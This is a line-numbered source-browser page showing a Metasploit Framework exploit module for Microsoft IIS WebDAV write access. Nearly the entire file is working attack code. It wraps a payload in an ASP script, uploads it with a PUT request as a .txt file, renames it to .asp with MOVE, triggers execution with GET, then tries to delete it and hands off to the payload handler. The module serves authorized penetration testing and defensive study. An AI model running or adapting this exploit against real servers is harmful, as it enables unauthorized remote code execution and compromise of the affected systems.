Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / iis / iis_webdav_upload_asp.rb @ 8412

History | View | Annotate | Download (3.5 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12

    
13
require 'msf/core'
14

    
15
class Metasploit3 < Msf::Exploit::Remote
16
        Rank = ExcellentRanking
17

    
18
        include Msf::Exploit::Remote::HttpClient
19

    
20
        def initialize
21
                super(
22
                        'Name'        => 'Microsoft IIS WebDAV Write Access Code Execution',
23
                        'Version'     => '$Revision$',
24
                        'Description'    => %q{
25
                                This module can be used to execute a payload on IIS servers that
26
                        have world-writeable directories. The payload is uploaded as an ASP
27
                        script using a WebDAV PUT request.
28
                        },
29
                        'Author'      => 'hdm',
30
                        'Platform'    => 'win',
31
                        'References'  =>
32
                                [
33
                                        ['OSVDB', '397'],
34
                                        ['BID', '12141']
35
                                ],
36
                        'Targets'     =>
37
                                [
38
                                        [ 'Automatic', { } ],
39
                                ],
40
                        'DefaultTarget'  => 0
41
                )
42

    
43
                register_options(
44
                        [
45
                                OptString.new('PATH', [ true,  "The path to attempt to upload", '/metasploit%RAND%.asp'])
46
                        ], self.class)
47
        end
48

    
49
        def exploit
50

    
51
                # Generate the ASP containing the EXE containing the payload
52
                asp  = Msf::Util::EXE.to_win32pe_asp(framework,payload.encoded)
53
                path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
54
                path_tmp  = path.gsub(/\....$/, ".txt")
55

    
56
                #
57
                # UPLOAD
58
                #
59
                print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
60

    
61
                res = send_request_cgi({
62
                        'uri'          =>  path_tmp,
63
                        'method'       => 'PUT',
64
                        'ctype'        => 'application/octet-stream',
65
                        'data'         => asp,
66
                }, 20)
67

    
68
                if (! res)
69
                        print_status("Upload failed on #{path_tmp} [No Response]")
70
                        return
71
                end
72

    
73
                if (res.code < 200 or res.code >= 300)
74
                        print_status("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
75
                        case res.code
76
                        when 401
77
                                print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
78
                        end
79
                        return
80
                end
81

    
82
                #
83
                # MOVE
84
                #
85
                print_status("Moving #{path_tmp} to #{path}...")
86

    
87
                res = send_request_cgi({
88
                        'uri'          =>  path_tmp,
89
                        'method'       => 'MOVE',
90
                        'headers'      => {'Destination' => path}
91
                }, 20)
92

    
93
                if (! res)
94
                        print_status("Move failed on #{path_tmp} [No Response]")
95
                        return
96
                end
97

    
98
                if (res.code < 200 or res.code >= 300)
99
                        print_status("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
100
                        case res.code
101
                        when 401
102
                                print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
103
                        when 403
104
                                print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
105
                        end
106
                        return
107
                end
108

    
109
                #
110
                # EXECUTE
111
                #
112
                print_status("Executing #{path}...")
113

    
114
                res = send_request_cgi({
115
                        'uri'          =>  path,
116
                        'method'       => 'GET'
117
                }, 20)
118

    
119
                if (! res)
120
                        print_status("Execution failed on #{path} [No Response]")
121
                        return
122
                end
123

    
124
                if (res.code < 200 or res.code >= 300)
125
                        print_status("Execution failed on #{path} [#{res.code} #{res.message}]")
126
                        return
127
                end
128

    
129

    
130

    
131
                #
132
                # DELETE
133
                #
134
                print_status("Deleting #{path}, this doesn't always work...")
135

    
136
                res = send_request_cgi({
137
                        'uri'          =>  path,
138
                        'method'       => 'DELETE'
139
                }, 20)
140
                if (! res)
141
                        print_status("Deletion failed on #{path} [No Response]")
142
                        return
143
                end
144

    
145
                if (res.code < 200 or res.code >= 300)
146
                        print_status("Deletion failed on #{path} [#{res.code} #{res.message}]")
147
                        return
148
                end
149

    
150
                handler
151
        end
152

    
153
end
154